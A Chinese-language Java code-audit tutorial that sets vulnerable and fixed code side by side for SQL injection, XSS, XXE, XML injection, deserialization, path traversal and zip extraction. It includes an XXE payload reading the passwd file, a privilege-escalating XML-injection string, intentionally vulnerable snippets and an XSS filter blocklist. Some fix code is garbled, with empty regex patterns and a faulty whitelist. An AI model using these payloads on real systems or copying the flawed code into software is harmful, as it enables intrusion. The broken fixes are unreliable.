代码审计[java 安全编程]

代码框可以向左滚动...

SQL 注入

介绍

注入攻击的本质，是程序把用户输入的数据当做代码执行。这里有两个关键条件，第一是用户能够控制输入；第二是用户输入的数据被拼接到要执行的代码中从而被执行。sql 注入漏洞则是程序将用户输入数据拼接到了 sql 语句中，从而攻击者即可构造、改变 sql 语义从而进行攻击。

漏洞示例一：直接通过拼接 sql

```
@RequestMapping("/SqlInjection/{id}")
public ModelAndView SqlInjectTest(@PathVariable String id){
String mysqldriver = "com.mysql.jdbc.Driver";
String mysqlurl =
"jdbc:mysql://127.0.0.1:3306/test?user=root&password=123456&useUnicode=true&c
haracterEncoding=utf8&autoReconnect=true";
String sql = "select * from user where id=" + id;
ModelAndView mav = new ModelAndView("test2");
try{
Class.forName(mysqldriver);
Connection conn = DriverManager.getConnection(mysqlurl);
PreparedStatement pstt = conn.prepareStatement(sql);
ResultSet rs = pstt.executeQuery();
```

审计策略

这种一般可以直接黑盒找到，如果只是代码片段快速扫描可控制的参数或者相关的 sql 关键字查看。

修复方案

见示例三

漏洞示例二：预编译使用有误

```
@RequestMapping("/SqlInjection/{id}")
public ModelAndView SqlInjectTest(@PathVariable String id){
String mysqldriver = "com.mysql.jdbc.Driver";
String mysqlurl =
"jdbc:mysql://127.0.0.1:3306/test?user=root&password=123456&useUnicode=true&c
haracterEncoding=utf8&autoReconnect=true";
String sql = "select * from user where id= ?";
ModelAndView mav = new ModelAndView("test2");
try{
Class.forName(mysqldriver);
Connection conn = DriverManager.getConnection(mysqlurl);
PreparedStatement pstt = conn.prepareStatement(sql);
//pstt.setObject(1, id); //一般使用有误的是没有用这一句。编码者以为在上面的 sql 语句中直接使用占位符就可以了。常见于新手写的代码中出现。
ResultSet rs = pstt.executeQuery();
```

审计策略

这种一般可以直接黑盒找到，如果只是代码片段快速扫描可控制的参数或者相关的 sql 关键字查看。查看预编译的完整性，关键函数定位 setObject()、setInt()、setString()、setSQLXML()关联上下文搜索 set* 开头的函数。

修复方案

见示例三

漏洞示例三：%和_（oracle 中模糊查询）问题

```
@RequestMapping("/SqlInjection/{id}")
public ModelAndView SqlInjectTest(@PathVariable String id){
String mysqldriver = "com.mysql.jdbc.Driver";
String mysqlurl =
"jdbc:mysql://127.0.0.1:3306/test?user=root&password=123456&useUnicode=true&c
haracterEncoding=utf8&autoReconnect=true";
String sql = "select * from user where id= ?";
ModelAndView mav = new ModelAndView("test2");
try{
Class.forName(mysqldriver);
Connection conn = DriverManager.getConnection(mysqlurl);
PreparedStatement pstt = conn.prepareStatement(sql);
pstt.setObject(1, id); //使用预编译
ResultSet rs = pstt.executeQuery();
```

审计策略

定位相关 sql 语句上下文，查看是否有显式过滤机制。

修复方案

上面的代码片段即使这样依然存在 sql 注入，原因是没有手动过滤%。预编译是不能处理这个符号的，所以需要手动过滤，否则会造成慢查询，造成 dos。

漏洞示例四：order by 问题

```
String sql = "Select * from news where title =?"+ "order by '" + time +
"' asc"
```

审计策略

定位相关 sql 语句上下文，查看是否有显式过滤机制。

修复方案

类似上面的这种 sql 语句 order by 后面是不能用预编译处理的只能通过拼接处理，所以需要手动过滤。

中间件框架 SQL 注入

Mybatis 框架

漏洞示例一:like 语句

```
Select * from news where title like '%#{title}%'
```

这样写程序会报错，研发人员将 SQL 查询语句修改如下：

```
Select * from news where title like '%${title}%'
```

这时候程序将不再报错但是可能会造成 sql 注入。

审计策略

在注解中或者 Mybatis 相关的配置文件中搜索 $ 。然后查看相关 sql 语句上下文环境。

修复方案

采用下面的写法

```
select * from news where tile like concat('%',#{title}, '%')
```

并且上下文环境中手动过滤%

漏洞示例二：in 语句

```
Select * from news where id in (#{id}),
```

这样写程序会报错，研发人员将 SQL 查询语句修改如下：

```
Select * from news where id in (${id}),
```
修改 SQL 语句之后，程序停止报错，但是可能会产生 SQL 注入漏洞。
审计策略
在注解中或者 Mybatis 相关的配置文件中搜索 $ 。然后查看相关 sql 语句上下文环境。
修复方案
采用下面写法
```
select * from news where id in
<foreach collection="ids" item="item" open="("separator="," close=")">#{item}
</foreach>
```

漏洞示例三：order by 语句
```
Select * from news where title =‘java 代码审计’ order by #{time} asc,
```
这样写程序会报错，研发人员将 SQL 查询语句修改如下：
```
Select * from news where title =‘java 代码审计’ order by ${time} asc,
```
修改之后，程序通过但可能会造成 sql 注入问题
审计策略
在注解中或者 Mybatis 相关的配置文件中搜索 $ 。然后查看相关 sql 语句上下文环境。
修复方案
手动过滤用户的输入。

Hibernate 框架
漏洞示例
```
session.createQuery("from Book where title like '%" + userInput + "%' and
published = true")
```
审计策略
搜索 createQuery()函数，查看与次函数相关的上下文。
修复方案
采用类似如下的方法
方法一
```
Query query=session.createQuery(“from User user where user.name=:customername
and user:customerage=:age ”);
query.setString(“customername”,name);
query.setInteger(“customerage”,age);
```
方法二
```
Query query=session.createQuery(“from User user where user.name=? and
user.age =? ”);
query.setString(0,name);
query.setInteger(1,age);
```
方法三
```
String hql=”from User user where user.name=:customername ”;
Query query=session.createQuery(hql);
query.setParameter(“customername”,name,Hibernate.STRING);
```
方法四
```
Customer customer=new Customer();
customer.setName(“pansl”);
customer.setAge(80);
Query query=session.createQuery(“from Customer c where c.name=:name and
c.age=:age ”);
query.setProperties(customer);
```

XSS

介绍

对于和后端有交互的地方没有做参数的接收和输入输出过滤，导致恶意攻击者可以插入一些恶意的 js 语句来获取应用的敏感信息。

漏洞示例

```
@RequestMapping("/xss")
public ModelAndView xss(HttpServletRequest request,HttpServletResponse
response) throws ServletException,IOException{
  String name = request.getParameter("name");
      ModelAndView mav = new ModelAndView("mmc");
      mav.getModel().put("uname", name);
      return mav;
}
```

审计策略

扫描所有的 HttpServletRequest 查看相关的上下文环境。

修复方案

方案一

全局编写过滤器

1、首先配置 web.xml，添加如下配置信息：

```
<filter>
    <filter-name>xssAndSqlFilter</filter-name>
    <filter-class>com.cup.cms.web.framework.filter.XssAndSqlFilter</filter-
class>
</filter>
<filter-mapping>
    <filter-name>xssAndSqlFilter</filter-name>
    <url-pattern>*</url-pattern>
</filter-mapping>
```

2、编写过滤器

```
public class XSSFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void destroy() {
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
        throws IOException, ServletException {
        chain.doFilter(new XSSRequestWrapper((HttpServletRequest) request),
response);
    }
}
```

3、再实现 ServletRequest 的包装类

```
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
public class XSSRequestWrapper extends HttpServletRequestWrapper {
    public XSSRequestWrapper(HttpServletRequest servletRequest) {
```

```
        super(servletRequest);
    }
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = stripXSS(values[i]);
        }
        return encodedValues;
    }
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        return stripXSS(value);
    }
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return stripXSS(value);
    }
    private String stripXSS(String value) {
        if (value != null) {
            // NOTE: It's highly recommended to use the ESAPI library and
uncomment the following line to
            // avoid encoded attacks.
            // value = ESAPI.encoder().canonicalize(value);
            // Avoid null characters
            value = value.replaceAll("", "");
            // Avoid anything between script tags
            Pattern scriptPattern = Pattern.compile("(.*?)",
Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid anything in a
src="http://www.yihaomen.com/article/java/..." type of e¬xpression
            scriptPattern =
Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'", Pattern.CASE_INSENSITIVE |
Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            scriptPattern =
Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"", Pattern.CASE_INSENSITIVE |
Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Remove any lonesome  tag
            scriptPattern = Pattern.compile("", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Remove any lonesome  tag
            scriptPattern = Pattern.compile("", Pattern.CASE_INSENSITIVE |
Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid eval(...) e¬xpressions
            scriptPattern = Pattern.compile("eval\\((.*?)\\)",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
```

```
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid e¬xpression(...) e¬xpressions
            scriptPattern = Pattern.compile("e¬xpression\\((.*?)\\)",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid javascript:... e¬xpressions
            scriptPattern = Pattern.compile("javascript:",
Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid vbscript:... e¬xpressions
            scriptPattern = Pattern.compile("vbscript:",
Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            // Avoid onload= e¬xpressions
            scriptPattern = Pattern.compile("onload(.*?)=",
Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
        }
        return value;
    }
}
```

方法二

首先添加一个 jar 包：commons-lang-2.5.jar ，然后在后台调用这些函数：

```
StringEscapeUtils.escapeHtml(string);
StringEscapeUtils.escapeJavaScript(string);
StringEscapeUtils.escapeSql(string);
```

方法三

org.springframework.web.util.HtmlUtils 可以实现 HTML 标签及转义字符之间的转换。

代码如下：

```
/** HTML 转义 **/
String string = HtmlUtils.htmlEscape(userinput);  //转义
String s2 = HtmlUtils.htmlUnescape(string);  //转成原来的
```

XXE

介绍

XML 文档结构包括 XML 声明、DTD 文档类型定义（可选）、文档元素。文档类型定义(DTD)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。

内部声明 DTD:

引用外部 DTD:

当允许引用外部实体时，恶意攻击者即可构造恶意内容访问服务器资源,如读取 passwd 文件：

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY test SYSTEM "file:///ect/passwd">]>
<msg>&test;</msg>
```

漏洞示例

此处以 org.dom4j.io.SAXReader 为例,仅展示部分代码片段：

```
String xmldata = request.getParameter("data");
SAXReader sax=new SAXReader();//创建一个 SAXReader 对象
Document document=sax.read(new ByteArrayInputStream(xmldata.getBytes()));//获
取 document 对象,如果文档无节点，则会抛出 Exception 提前结束
Element root=document.getRootElement();//获取根节点
List rowList = root.selectNodes("//msg");
```

```
Iterator<?> iter1 = rowList.iterator();
if (iter1.hasNext()) {
    Element beanNode = (Element) iter1.next();
    modelMap.put("success",true);
    modelMap.put("resp",beanNode.getTextTrim());
}
...
```

审计策略

XML 解析一般在导入配置、数据传输接口等场景可能会用到，涉及到 XML 文件处理的场景可留意下 XML 解析器是否禁用外部实体，从而判断是否存在 XXE。部分 XML 解析接口如下：

```
javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
```

```
XMLInputFactory (a StAX parser)
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This
disables DTDs entirely for that factory
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities",
false); // disable external entities
```

```
TransformerFactory
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
```

```
Validator
SchemaFactory factory =
SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
```

```
SchemaFactory
SchemaFactory factory =
SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Schema schema = factory.newSchema(Source);
```

```
SAXTransformerFactory
```

```
SAXTransformerFactory sf = SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newXMLFilter(Source);
```
Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:
javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD
javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA
javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET

XMLReader
```
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",
true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-
external-dtd", false); // This may not be strictly required as DTDs shouldn't
be allowed at all, per previous line.
reader.setFeature("http://xml.org/sax/features/external-general-entities",
false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities",
false);
```

SAXReader
```
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",
true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities",
false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-
entities", false);
```
Based on testing, if you are missing one of these, you can still be vulnerable to an XXE attack.

SAXBuilder
```
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-
decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities",
false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities",
false);
Document doc = builder.build(new File(fileName));
```

Unmarshaller
```
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities",
false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities",
false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-
dtd", false);
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new
InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
```

```
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);


XPathExpression
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate( builder.parse(new
ByteArrayInputStream(xml.getBytes())) );
```

修复方案

使用 XML 解析器时需要设置其属性，禁止使用外部实体，以上例中 SAXReader 为例，安全的使用方式如下：

```
sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.setFeature("http://xml.org/sax/features/external-general-entities",
false);
sax.setFeature("http://xml.org/sax/features/external-parameter-entities",
false);
```

其它 XML 解析器的安全使用可参考 OWASP XML External Entity (XXE) Prevention Cheat Sheet
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

XML

介绍

使用不可信数据来构造 XML 会导致 XML 注入漏洞。一个用户，如果他被允许输入结构化的 XML 片段，则他可以在 XML 的数据域中注入 XML 标签来改写目标 XML 文档的结构与内容。XML 解析器会对注入的标签进行识别和解释。

漏洞示例

```
private void createXMLStream(BufferedOutputStream outStream, User user)
throws
IOException
{
String xmlString;
xmlString = "<user><role>operator</role><id>" + user.getUserId()
+ "</id><description>" + user.getDescription() +
"</description></user>";
outStream.write(xmlString.getBytes());
outStream.flush();
}
```

某个恶意用户可能会使用下面的字符串作为用户 ID：

"joe</id><role>administrator</role><id>joe"并使用如下正常的输入作为描述字段：

"I want to be an administrator"最终，整个 XML 字符串将变成如下形式：

```
<user>
<role>operator</role>
<id>joe</id>
<role>administrator</role>
<id>joe</id>
<description>I want to be an administrator</description>
</user>
```

由于 SAX 解析器（org.xml.sax and javax.xml.parsers.SAXParser）在解释 XML 文档时会将第二个 role 域的值覆盖前一个 role 域的值，因此导致此用户角色由操作员提升为了管理员。

审计策略
全局搜索如下字符串
StreamSource
XMLConstants
StringReader
在项目中搜索．Xsd 文件
修复方案
```
private void createXMLStream(BufferedOutputStream outStream, User user)
throws
IOException
{
if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId()))
{
}
if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription()))
{
}
String xmlString = "<user><id>" + user.getUserId()
+ "</id><role>operator</role><description>"
+ user.getDescription() + "</description></user>";
outStream.write(xmlString.getBytes());
outStream.flush();
}
```
这个方法使用白名单的方式对输入进行清理，要求输入的 userId 字段中只能包含字母、数字或者下划线。
```
public static void buidlXML(FileWriter writer, User user) throws IOException
{
Document userDoc = DocumentHelper.createDocument();
Element userElem = userDoc.addElement("user");
Element idElem = userElem.addElement("id");
idElem.setText(user.getUserId());
Element roleElem = userElem.addElement("role");
roleElem.setText("operator");
Element descrElem = userElem.addElement("description");
descrElem.setText(user.getDescription());
XMLWriter output = null;
try
{
OutputFormat format = OutputFormat.createPrettyPrint();
format.setEncoding("UTF-8");
output = new XMLWriter(writer, format);
output.write(userDoc);
output.flush();
}
finally
{
try
{
output.close();
}
catch (Exception e)
{
}
}
}
```

这个正确示例使用 dom4j 来构建 XML，dom4j 是一个良好定义的、开源的 XML 工具库。Dom4j 将会对文本数据域进行 XML 编码，从而使得 XML 的原始结构和格式免受破坏。

反序列化

介绍

序列化是让 Java 对象脱离 Java 运行环境的一种手段，可以有效的实现多平台之间的通信、对象持久化存储。只有实现了 Serializable 和 Externalizable 接口的类的对象才能被序列化。

Java 程序使用 ObjectInputStream 对象的 readObject 方法将反序列化数据转换为 java 对象。但当输入的反序列化的数据可被用户控制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的对象，在此过程中执行构造的任意代码。

漏洞示例

示例一 反序列化造成的代码执行

漏洞代码示例如下：

```
......
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢复对象
ois.readObject();
ois.close();
```

上述代码中，程序读取输入流并将其反序列化为对象。此时可查看项目工程中是否引入可利用的 commons-collections 3.1、commons-fileupload 1.3.1 等第三方库，即可构造特定反序列化对象实现任意代码执行。相关三方库及利用工具可参考 ysoserial、marshalsec。

审计策略

HTTP：多平台之间的通信，管理等

RMI：是 Java 的一组拥护开发分布式应用程序的 API，实现了不同操作系统之间程序的方法调用。值得注意的是，RMI 的传输 100%基于反序列化，Java RMI 的默认端口是 1099 端口。

JMX：JMX 是一套标准的代理和服务，用户可以在任何 Java 应用程序中使用这些代理和服务实现管理,中间件软件 WebLogic 的管理页面就是基于 JMX 开发的，而 JBoss 整个系统都基于 JMX 构架。

确定反序列化输入点：首先应找出 readObject 方法调用，在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找：

1)寻找可以利用的"靶点"，即确定调用反序列化函数 readObject 的调用地点。

2)对该应用进行网络行为抓包，寻找序列化数据，如 wireshark,tcpdump 等

注： java 序列化的数据一般会以标记（ac ed 00 05）开头，base64 编码后的特征为 rO0AB。

反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或 DB 存储等业务场景,在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控，如下：

```
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...
```

修复方案

如果可以明确反序列化对象类的则可在反序列化时设置白名单，对于一些只提供接口的库则可使用黑名单设置不允许被反序列化类或者提供设置白名单的接口，可通过 Hook 函数 resolveClass 来校验反序列化的类从而实现白名单校验，示例如下：

```
public class AntObjectInputStream extends ObjectInputStream{
    public AntObjectInputStream(InputStream inputStream)
            throws IOException {
        super(inputStream);
    }


    /**
     * 只允许反序列化 SerialObject class
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws
IOException,
            ClassNotFoundException {
        if (!desc.getName().equals(SerialObject.class.getName())) {
            throw new InvalidClassException(
                    "Unauthorized deserialization attempt",
                    desc.getName());
        }
        return super.resolveClass(desc);
    }
}
```

也可以使用 Apache Commons IO Serialization 包中的 ValidatingObjectInputStream 类的 accept 方法来实现反序列化类白/黑名单控制，如果使用的是第三方库则升级到最新版本。

示例二 反序列化造成的权限问题

Serializable 的类的固有序列化方法包括 readObject，writeObject。

Serializable 的类的固有序列化方法，还包括 readResolve，writeReplace。

它们是为了单例 (singleton) 类而专门设计的。

根据权限最小化原则，一般情况下这些方法必须被声明为 private void。否则如果 Serializable 的类开放 writeObject 函数为 public 的话，给非受信调用者过高权限，潜在有风险。有些情况下，比如 Serializable 的类是 Extendable，被子类继承了，为了确保子类也能访问方法，那么这些方法必须被声明为 protected，而不是 private。

审计策略

人工搜索文本

```
public * writeObject
public * readObject
public * readResolve
public * writeReplace
```

修复方案

视情况根据上下文而定，比如修改为

```
private void writeObject
private void readObject
protected Object readResolve
protected Object writeReplace
```

示例三 反序列化造成的敏感信息泄露

在 Java 环境中，允许处于不同受信域的组件进行数据通信，从而出现跨受信边界的数据传输。不要序列化未加密的敏感数据；不要允许序列化绕过安全管理器。

```
public class GPSLocation implements Serializable
{
private double x; // sensitive field
private double y; // sensitive field
private String id;// non-sensitive field
// other content
```

```
}
public class Coordinates
{
public static void main(String[] args)
{
FileOutputStream fout = null;
try
{
GPSLocation p = new GPSLocation(5, 2, "northeast");
fout = new FileOutputStream("location.ser");
ObjectOutputStream oout = new ObjectOutputStream(fout);
oout.writeObject(p);
oout.close();
}
catch (Throwable t)
{
// Forward to handler
}
finally
{
if (fout != null)
{
try
{
fout.close();
}
catch (IOException x)
{
// handle error
}
}
}
}
}
```

在这段示例代码中，假定坐标信息是敏感的，那么将其序列化到数据流中使之面临敏感信息泄露与被恶意篡改的风险。

审计策略

要根据实际业务场景定义敏感数据。对于已经被确定为敏感的数据搜索示例一中相关的关键字。

修复方案

上面漏洞示例中的正确写法如下

```
public class GPSLocation implements Serializable
{
private transient double x; // transient field will not be serialized
private transient double y; // transient field will not be serialized
private String id;
// other content
}
```

要根据实际情况修复。 一般情况下，一旦定位，修复方法是将相关敏感数据声明为 `transient`，这样程序保证敏感数据从序列化格式中忽略的。

正确示例（ `serialPersistentFields` ） ：

```
public class GPSLocation implements Serializable
{
private double x;
private double y;
private String id;
```

```
// sensitive fields x and y are not content in serialPersistentFields
private static final ObjectStreamField[] serialPersistentFields = {new
ObjectStreamField("id", String.class)};
// other content
}
```
该示例通过定义 serialPersistentFields 数组字段来确保敏感字段被排除在序列化之外，除了上述方案，也可以通过自定义 writeObject()、writeReplace()、writeExternal()这些函数，不将包含敏感信息的字段写到序列化字节流中。特殊情况下，正确加密了的敏感数据可以被序列化。

示例四 静态内部类的序列化问题
对非静态内部类的序列化依赖编译器，且随着平台的不同而不同，容易产生错误。
对内部类的序列化会导致外部类的实例也被序列化。这样有可能泄露敏感数据。
```
public class DistributeData implements  SerializedName{
 public class CodeDetail {...}
}
```
CodeDetail 并不会被序列化。
```
public class DistributeData implements  SerializedName{
 public class CodeDetail implements  SerializedName{...}
}
```
报 NotSerializableException，查错误，CodeDetail 这个类虽然实现了 Serializable 接口，但 CodeDetail 在项目中是以内部类的形式定义的。
```
public class DistributeData implements  SerializedName{
 public static class CodeDetail implements  SerializedName{...}
}
```
上面的这种形式可以被序列化但是容易造成敏感信息泄露。
审计策略
人工查找 implements Serializable 的所有内部类
修复方案
```
class ${InnerSer} {}
```
去除内部类的序列化。
```
static class ${InnerSer} implements Serializable {}
```
把内部类声明为静态从而被序列化。但是要注意遵循示例三中的敏感信息问题

路径安全
介绍
不安全的路径获取或者使用会使黑客容易绕过现有的安全防护。
黑客可以改用包含 ../序列的参数来指定位于特定目录之外的文件，从而违反程序安全策略，引发路径遍历漏洞，攻击者可能可以向任意目录上传文件。
漏洞示例
Java 一般路径 getPath()，绝对路径 getAbsolutePath() 和规范路径 getCanonicalPath() 不同。
举例在 workspace 中新建 myTestPathPrj 工程，运行如下代码
```
public static void testPath() throws Exception{
File file = new File("..\\src\\ testPath.txt");
System.out.println(file.getAbsolutePath());
System.out.println(file.getCanonicalPath());
}
```
得到的结果形如：
```
E:\workspace\myTestPathPrj\..\src\ testPath.txt
E:\ workspace\src\ testPath.txt
```

审计策略
查找 getPath, getAbsolutePath。
再排查程序的安全策略配置文件，搜索 permission Java.io.FilePermission 字样和 grant 字样，防止误报。换句话说，如果 IO 方案中已经做出防御。只为程序的绝对路径赋予读写权限，其他目录不赋予读写权限。那么目录系统还是安全的。

修复方案
尽量使用 getCanonicalPath () 。
或者使用安全管理器，或者使用安全配置策略文件。如何配置安全策略文件，和具体使用的 web server 相关。
File.getCanonicalPath()方法，它能在所有的平台上对所有别名、快捷方式以及符号链接进行一致地解析。特殊的文件名，比如"../"会被移除，这样输入在验证之前会被简化成对应的标准形式。当使用标准形式的文件路径来做验证时，攻击者将无法使用../序列来跳出指定目录。

Zip 文件提取

介绍
从 java.util.zip.ZipInputStream 中解压文件时需要小心谨慎。有两个特别的问题需要避免：一个是提取出的文件标准路径落在解压的目标目录之外，另一个是提取出的文件消耗过多的系统资源。对于前一种情况，攻击者可以从 zip 文件中往用户可访问的任何目录写入任意的数据。对于后一种情况，当资源使用远远大于输入数据所使用的资源的时，就可能会发生拒绝服务的问题。Zip 算法的本性就可能会导致 zip 炸弹（zip bomb）的出现，由于极高的压缩率，即使在解压小文件时，比如 ZIP、GIF，以及 gzip 编码的 HTTP 内容，也可能会导致过度的资源消耗。
漏洞示例

```
static final int BUFFER = 512;
// ...
public final void unzip(String fileName) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(fileName);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
// Write the files to the disk
FileOutputStream fos = new FileOutputStream(entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1)
{
dest.write(data, 0, count);
}
dest.flush();
dest.close();
zis.closeEntry();
}
zis.close();
}
```

在这个错误示例中，未对解压的文件名做验证，直接将文件名传递给 FileOutputStream 构造器。它也未检查解压文件的资源消耗情况，它允许程序运行到操作完成或者本地资源被耗尽。

```
public static final int BUFFER = 512;
public static final int TOOBIG = 0x6400000; // 100MB
// ...
public final void unzip(String filename) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(filename);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
try
{
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
byte data[] = new byte[BUFFER];
// Write the files to the disk, but only if the file is not insanely
big
if (entry.getSize() > TOOBIG)
{
throw new IllegalStateException(
"File to be unzipped is huge.");
}
if (entry.getSize() == -1)
{
throw new IllegalStateException(
"File to be unzipped might be huge.");
}
FileOutputStream fos = new FileOutputStream(entry.getName());
BufferedOutputStream dest = new BufferedOutputStream(fos,
BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1)
{
dest.write(data, 0, count);
}
dest.flush();
dest.close();
zis.closeEntry();
}
}
finally
{
zis.close();
}
}
```

这个错误示例调用 ZipEntry.getSize()方法在解压提取一个条目之前判断其大小，以试图解决之前的问题。但不幸的是，恶意攻击者可以伪造 ZIP 文件中用来描述解压条目大小的字段，因此，getSize()方法的返回值是不可靠的，本地资源实际仍可能被过度消耗。

审计策略

全局搜索如下关键字或者方法

```
FileInputStream
ZipInputStream
getSize()
ZipEntry
```

如果出现 getSize 基本上就需要特别注意了。
修复方案

```
static final int BUFFER = 512;
static final int TOOBIG = 0x6400000; // max size of unzipped data, 100MB
static final int TOOMANY = 1024; // max number of files
// ...
private String sanitzeFileName(String entryName, String intendedDir) throws
IOException
{
File f = new File(intendedDir, entryName);
String canonicalPath = f.getCanonicalPath();
File iD = new File(intendedDir);
String canonicalID = iD.getCanonicalPath();
if (canonicalPath.startsWith(canonicalID))
{
return canonicalPath;
}
else
{
throw new IllegalStateException(
"File is outside extraction target directory.");
}
}
// ...
public final void unzip(String fileName) throws java.io.IOException
{
FileInputStream fis = new FileInputStream(fileName);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;
int entries = 0;
int total = 0;
byte[] data = new byte[BUFFER];
try
{
while ((entry = zis.getNextEntry()) != null)
{
System.out.println("Extracting: " + entry);
int count;
// Write the files to the disk, but ensure that the entryName is valid,
// and that the file is not insanely big
String name = sanitzeFileName(entry.getName(), ".");
FileOutputStream fos = new FileOutputStream(name);
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while (total + BUFFER <= TOOBIG && (count = zis.read(data, 0, BUFFER)) !=
-1)
{
dest.write(data, 0, count);
total += count;
}
dest.flush();
dest.close();
zis.closeEntry();
entries++;
if (entries > TOOMANY)
{
throw new IllegalStateException("Too many files to unzip.");
```

```
}
if (total > TOOBIG)
{
throw new IllegalStateException(
"File being unzipped is too big.");
}
}
}
finally
{
zis.close();
}
}
```

